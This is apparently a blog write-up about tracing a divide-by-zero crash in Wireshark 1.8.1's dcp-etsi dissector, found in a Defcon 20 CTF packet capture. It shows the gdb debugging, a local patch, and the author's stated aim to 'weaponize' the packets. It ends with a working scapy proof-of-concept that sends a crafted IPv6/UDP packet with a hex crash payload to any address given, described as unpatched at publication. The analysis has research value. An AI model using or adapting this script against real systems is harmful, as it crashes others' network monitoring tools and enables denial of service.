Tracing Bugs in Wireshark



So word spread pretty quickly about the wireshark bugs being thrown around Defcon 20 CTF. After I got my hands on acme pharms packet capture I quickly set out to recover the evil packets and weaponize them :)

After unpacking the tarball I found a pcap file that crashed my Wireshark(version 1.8.1), sf1-37.pcap

My copy of Wireshark was compiled without any debug information so I quickly grabbed the latest source from http://www.wireshark.org and recompiled it. After opening the pcap again in a Wireshark session running under gdb I got the name of the source file and even the offending line of code.

Wireshark state information at crash
Wireshark state information at crash

The source of the crash is a division by zero. Perfect for crashing Wireshark.

I wanted to examine this packet in Wireshark so I needed to write a patch and recompile.

I rewrote the line

rx_min = c_max * rsk / plen;

as

if(plen==0){
     plen=1;
     rx_min=1337;
     puts("error in dcp-etsi.c");
}
else{
     rx_min = c_max * rsk / plen;
}

I was able to quickly hunt down the offending packets in wireshark. There are several hundred of them. They are easily identifiable because wireshark says they need l337:

Need 1337
Need 1337

I exported the first one that caught my fancy to see if I could induce a wireshark crash with a single packet.

As it turns out, you can. Sweet. This makes my life easy, I can strip out the application layer data from this packet to write a POC.

Writing a script to exploit this bug is easy. I used scapy, a third party packet crafting python library to build an IPv6 packet with one argument for a destination IPv6 address and send it.

#!/usr/bin/python
#Evan Jensen AKA wont
#divide by zero in dcp-etsi.c wireshark dissector. Unpatched at time of publish
from scapy.all import *
from sys import *

crashdata='504623c4000000008854aa3d5a474547'.decode('hex')

if len(argv)<2:
    packet=Ether()/IPv6(dst="::1")/UDP(dport=55935,sport=42404)/crashdata
    wrpcap('lol.pcap',[packet])
    print "open lol.pcap"

else:   
    packet=IPv6(dst=argv[1])/UDP(dport=55935,sport=42404)/crashdata
    send(packet)